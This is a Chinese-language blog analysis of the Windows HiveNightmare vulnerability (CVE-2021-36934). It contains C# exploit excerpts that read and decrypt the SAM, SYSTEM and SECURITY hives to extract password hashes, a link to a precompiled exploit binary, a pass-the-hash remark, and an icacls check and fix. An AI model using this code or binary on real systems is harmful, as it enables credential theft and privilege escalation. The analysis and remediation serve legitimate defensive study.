Windows本地权限提升漏洞CVE-2021-36934分析

0x01 漏洞描述

7 月 20 日,Microsoft 发布了针对此漏洞的公告,该漏洞被收录为CVE-2021-36934。目前已确认影响 Windows 10 1809 及更高版本,以及 Windows Server 2019 及更高版本。CVE-2021-36934 可用于获取本地哈希值并将其传递给远程机器,从而在任意目标上以 SYSTEM 身份远程执行代码。 安全社区将这个漏洞命名为“HiveNightmare”和“SeriousSAM”。

0x02 漏洞原理

在Windows中SAM 文件用来存储敏感的安全信息,例如散列的用户和管理员密码。由于Windows 10 和 11 系统上的安全帐户管理器 (SAM) 文件已对本地所有用户启用 READ。 READ 启用意味着在系统上有普通账号权限的攻击者可以使用此与安全相关的信息来提升权限或访问目标环境中的其他数据。

0x03 exp代码分析

利用代码分为几个步骤:
1.检查sam、system及security几个文件是否具有可读属性

public static bool CheckFile(string path)
        {
            IntPtr file;
            if (_wfopen_s(out file, path, "r") == 0)
            {
                fclose(file);
                return true;
            }
            else
            {
                return false;
            }
        }
              string sam = path + "\\sam";
                string system = path + "\\system";
                string security = path + "\\security";
                if (CheckFile(sam))
                {
                    Console.WriteLine($"[*] SAM: {sam}");
                    Console.WriteLine($"[*] SYSTEM: {system}");
                    Console.WriteLine($"[*] SECURITY: {security}");

2.创建FileReader句柄读取sam、system、security相关内容,内容是LSA加密的

        var reader = new FileReader();
        List volumes = FindShadowVolumes();  //此函数用来遍历发现卷影目录
        byte[] samBytes = reader.Read(sam);
        byte[] systemBytes = reader.Read(system);
        byte[] securityBytes = reader.Read(security);

3.解密sam、system、security几个文件

 public static void ParseSecrets(byte[] samBytes, byte[] systemBytes, byte[] securityBytes)
        {
            StringBuilder sb = new StringBuilder();
            byte[] bootKey = new byte[16];

            using (BinaryReader systemReader = new BinaryReader(new MemoryStream(systemBytes)))
            {
                RegistryHive system = new RegistryHive(systemReader);
                bootKey = GetBootKey(system);
                if (bootKey == null)
                {
                    Console.WriteLine("[-] Failed to parse bootkey");
                    return;
                }
                using (BinaryReader securityReader = new BinaryReader(new MemoryStream(securityBytes)))
                {
                    RegistryHive security = new RegistryHive(securityReader);
                    ParseLsa(security, bootKey, system).ForEach(item => sb.Append(item + Environment.NewLine));
                }
            }

            using (BinaryReader samReader = new BinaryReader(new MemoryStream(samBytes)))
            {
                RegistryHive sam = new RegistryHive(samReader);
                ParseSam(bootKey, sam).ForEach(item => sb.Append(item + Environment.NewLine));
            }
            Console.WriteLine(sb.ToString());
        }
0x04 漏洞测试

检查Windows系统是否受漏洞影响可以以低权限用户开一个cmd输入:
icacls C:\windows\system32\config\sam
如图所示,此系统易被攻击者利用

icacls .png

exp我已经编译好了直接执行就可以,下载地址: https://github.com/Lucifer1993/PLtools/blob/main/CVE-2021-36934.exe
exploit.png

提取出系统sam里的账号NTLM hash就可以pth了。

0x05 修复
1. 以管理员身份打开命令提示符或 Windows PowerShell。
2. 运行此命令:icacls %windir%\system32\config\*.* /inheritance:e 

执行完上面命令之后再查看sam属性配置,重新执行exp后发现已经无法利用。

change.png

fail.png

你可能感兴趣的:(Windows本地权限提升漏洞CVE-2021-36934分析)